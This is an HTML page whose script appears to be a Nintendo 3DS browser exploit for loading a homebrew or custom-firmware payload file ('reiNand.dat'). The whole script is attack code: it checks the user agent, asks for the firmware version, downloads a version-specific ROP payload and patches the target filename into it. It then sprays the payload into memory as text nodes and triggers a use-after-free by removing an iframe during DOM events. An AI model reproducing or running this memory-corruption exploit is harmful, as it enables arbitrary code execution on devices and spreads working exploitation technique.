72 lines
2.0 KiB
Plaintext
72 lines
2.0 KiB
Plaintext
|
<html><head><script>
|
|||
|
|
d=document,r=parent,w=window,n=navigator.userAgent;
|
|||
|
|
if(r==w){
|
|||
|
|
l='reiNand.dat',g=decodeURI(d.URL).split('?');
|
|||
|
|
if(g.length>1){
|
|||
|
|
g=g[1].split('&');
|
|||
|
|
if(g[0].length>0&&g[0].length<25)l=g[0];
|
|||
|
|
}
|
|||
|
|
d.title='Load '+l;
|
|||
|
|
w.onload=function(){
|
|||
|
|
if(n.indexOf('1.7538.CN')>=0)n=n.replace('.CN',confirm('系统版本4.2-4.4选择OK，系统版本4.5选择取消。')?'.CN.42':'.CN.45');
|
|||
|
|
var h=d.body.childNodes[0];
|
|||
|
|
var v=n.split('/').pop().replace(/[^\dCKT]/g,'')+'.rop';
|
|||
|
|
h.innerHTML='Downloading payload '+v+': ';
|
|||
|
|
var x=new XMLHttpRequest();
|
|||
|
|
x.open('GET',v,true);
|
|||
|
|
x.overrideMimeType('text/plain; charset=x-user-defined');
|
|||
|
|
x.onload=function(){
|
|||
|
|
if(x.status==200){
|
|||
|
|
var u='OK<br>Patching filename to '+l+': ';
|
|||
|
|
var s=x.responseText;
|
|||
|
|
var y=s.length;
|
|||
|
|
var t=Array(y<768?768:y);
|
|||
|
|
for(i=0;i<y;t[i]=s.charCodeAt(i)&255,i++);
|
|||
|
|
y=t.length>>1;
|
|||
|
|
for(i=0;i<y;t[i]=t[i*2]|t[i*2+1]<<8,i++);
|
|||
|
|
t.length>>=1;
|
|||
|
|
s=String.fromCharCode.apply(null,t);
|
|||
|
|
y=s.indexOf('dmc:/')+5;
|
|||
|
|
if(y>4){
|
|||
|
|
s=s.substring(0,y)+l+'\0'+s.slice(y+l.length+1);
|
|||
|
|
u+='OK';
|
|||
|
|
}else{
|
|||
|
|
u+='skipped';
|
|||
|
|
}
|
|||
|
|
if(s.length<=384)s+=Array(384-s.length+1).join('\0')+s;
|
|||
|
|
s+=Array(384*15-s.length+1+1).join('\0');
|
|||
|
|
q=[];
|
|||
|
|
for(k=0,i=0;k<15;q[k++]=s.substring(i,i+385),i+=384);
|
|||
|
|
u+='<br>Executing payload...<iframe height=0 src=#/>';
|
|||
|
|
}else{
|
|||
|
|
u='failed';
|
|||
|
|
}
|
|||
|
|
h.innerHTML+=u;
|
|||
|
|
}
|
|||
|
|
x.send();
|
|||
|
|
}
|
|||
|
|
}else{
|
|||
|
|
w.onload=function(){
|
|||
|
|
b=0,f=w.frameElement,p=f.parentNode,o=d.createElement('object');
|
|||
|
|
o.addEventListener('beforeload',function(){
|
|||
|
|
if(++b==1)p.addEventListener('DOMSubtreeModified',r.z);
|
|||
|
|
else if(b==2)p.removeChild(f);
|
|||
|
|
});
|
|||
|
|
d.body.appendChild(o);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
function z(){
|
|||
|
|
if(n.indexOf('Nintendo 3DS')>=0){
|
|||
|
|
m=[];
|
|||
|
|
for(j=0;j<410;j++){
|
|||
|
|
a=Array(j);
|
|||
|
|
if(384<j&&j<388){
|
|||
|
|
for(k=0,i=(j-385)*5;k<5;a[k++]=q[i++]);
|
|||
|
|
}else{
|
|||
|
|
for(k=0,i=j/96;k<i;a[k++]=q[1]);
|
|||
|
|
}
|
|||
|
|
m.push(d.createTextNode(String.fromCharCode.apply(null,Array(a))));
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}</script></head><body><h1>.</h1></body></html>
|